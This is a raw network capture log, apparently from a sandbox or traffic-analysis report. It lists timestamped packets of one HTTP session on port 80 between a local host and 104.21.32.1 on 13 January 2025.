Jan 13, 2025 09:22:27.498321056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498331070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498339891 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498347998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498356104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498370886 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498378038 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498387098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498393059 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498403072 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498411894 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498437881 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498464108 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498473883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498485088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498495102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498501062 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498512030 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498522043 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498527050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498538017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498544931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498557091 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498564005 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498579025 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498586893 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498603106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498610020 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498620033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498630047 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498637915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498650074 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.498653889 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498668909 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.498686075 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.503675938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503686905 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503696918 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503706932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503717899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503725052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.503735065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503745079 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.503751040 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503761053 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.503767014 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.503777027 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.503799915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504164934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504204035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504300117 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504309893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504319906 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504328966 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504336119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504350901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504357100 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504365921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504376888 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504384995 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504393101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504401922 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504407883 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504422903 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504432917 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504440069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504446030 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504455090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504465103 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504472017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504482031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504487038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504496098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504503012 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504518986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504523993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504533052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504539967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504549026 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504556894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504565001 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504573107 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504580975 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504587889 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504600048 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504605055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504617929 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504622936 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504631042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504645109 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504652977 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504662037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504672050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504682064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504688978 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504698038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504703999 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504713058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504720926 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504734993 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504741907 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504750967 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504759073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504770041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504776955 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504791021 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504800081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504806042 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504816055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504827023 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504837036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504842997 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504853964 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504865885 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504878044 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504889965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504899025 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504906893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504913092 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504923105 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504933119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504939079 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504950047 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504956007 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504965067 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504978895 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.504987001 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.504997015 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505007029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505012989 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505023003 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505028963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505039930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505045891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505054951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505062103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505072117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505078077 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505085945 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505095005 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505100965 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505124092 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505137920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505152941 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505163908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505170107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505178928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505186081 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505196095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505202055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505211115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505228043 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505249023 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505261898 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505270958 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505280972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505290031 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505296946 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505310059 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505332947 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505348921 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505358934 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505368948 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505378962 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505393028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505403996 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505409002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505425930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505440950 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505564928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505606890 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505626917 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505636930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505647898 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505659103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505664110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505676031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505681992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505693913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505698919 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505728960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.505968094 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505985975 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.505995035 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.506004095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.506031036 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.506072998 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.506083965 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.506093979 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.506103992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.506109953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.506119967 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.506125927 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.506153107 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576654911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576706886 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576713085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576730013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576739073 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576749086 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576759100 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576766014 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576778889 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576785088 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576795101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576801062 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576809883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.576816082 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576833010 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.576848984 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590780973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590790033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590805054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590814114 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590822935 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590832949 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590838909 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590861082 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590869904 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590878963 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590886116 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590899944 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590904951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590915918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590919971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590930939 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590938091 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590955973 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.590965033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590985060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.590993881 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591016054 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591027975 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591037989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591058016 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591063976 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591079950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591084957 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591100931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591106892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591114044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591124058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591134071 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.591137886 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591146946 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.591169119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596034050 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596043110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596059084 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596069098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596080065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596093893 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596106052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596113920 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596122026 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596132994 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596142054 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596167088 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596637964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596647978 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596657991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596673965 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596692085 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596698999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596709013 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596718073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596731901 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596739054 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596745968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596755028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596765041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596771002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596780062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596793890 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596798897 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596807957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596815109 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596824884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596834898 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596841097 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596863031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596879959 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596889973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596899986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596910000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596915960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596929073 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596935034 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596952915 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596959114 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596966028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596972942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596982002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.596990108 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.596997976 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597007036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597012997 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597039938 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597165108 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597174883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597191095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597197056 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597206116 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597218037 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597222090 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597230911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597242117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597246885 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597255945 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597263098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597275019 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597281933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597296953 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597302914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597311974 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597326040 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597332954 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597348928 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597356081 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597362995 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597371101 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597382069 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597387075 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597397089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597403049 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597412109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597418070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597428083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597435951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597449064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597453117 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597462893 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597467899 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597475052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597495079 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597507000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597516060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597526073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:27.597542048 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:27.597560883 CET	49865	80	192.168.2.5	104.21.32.1
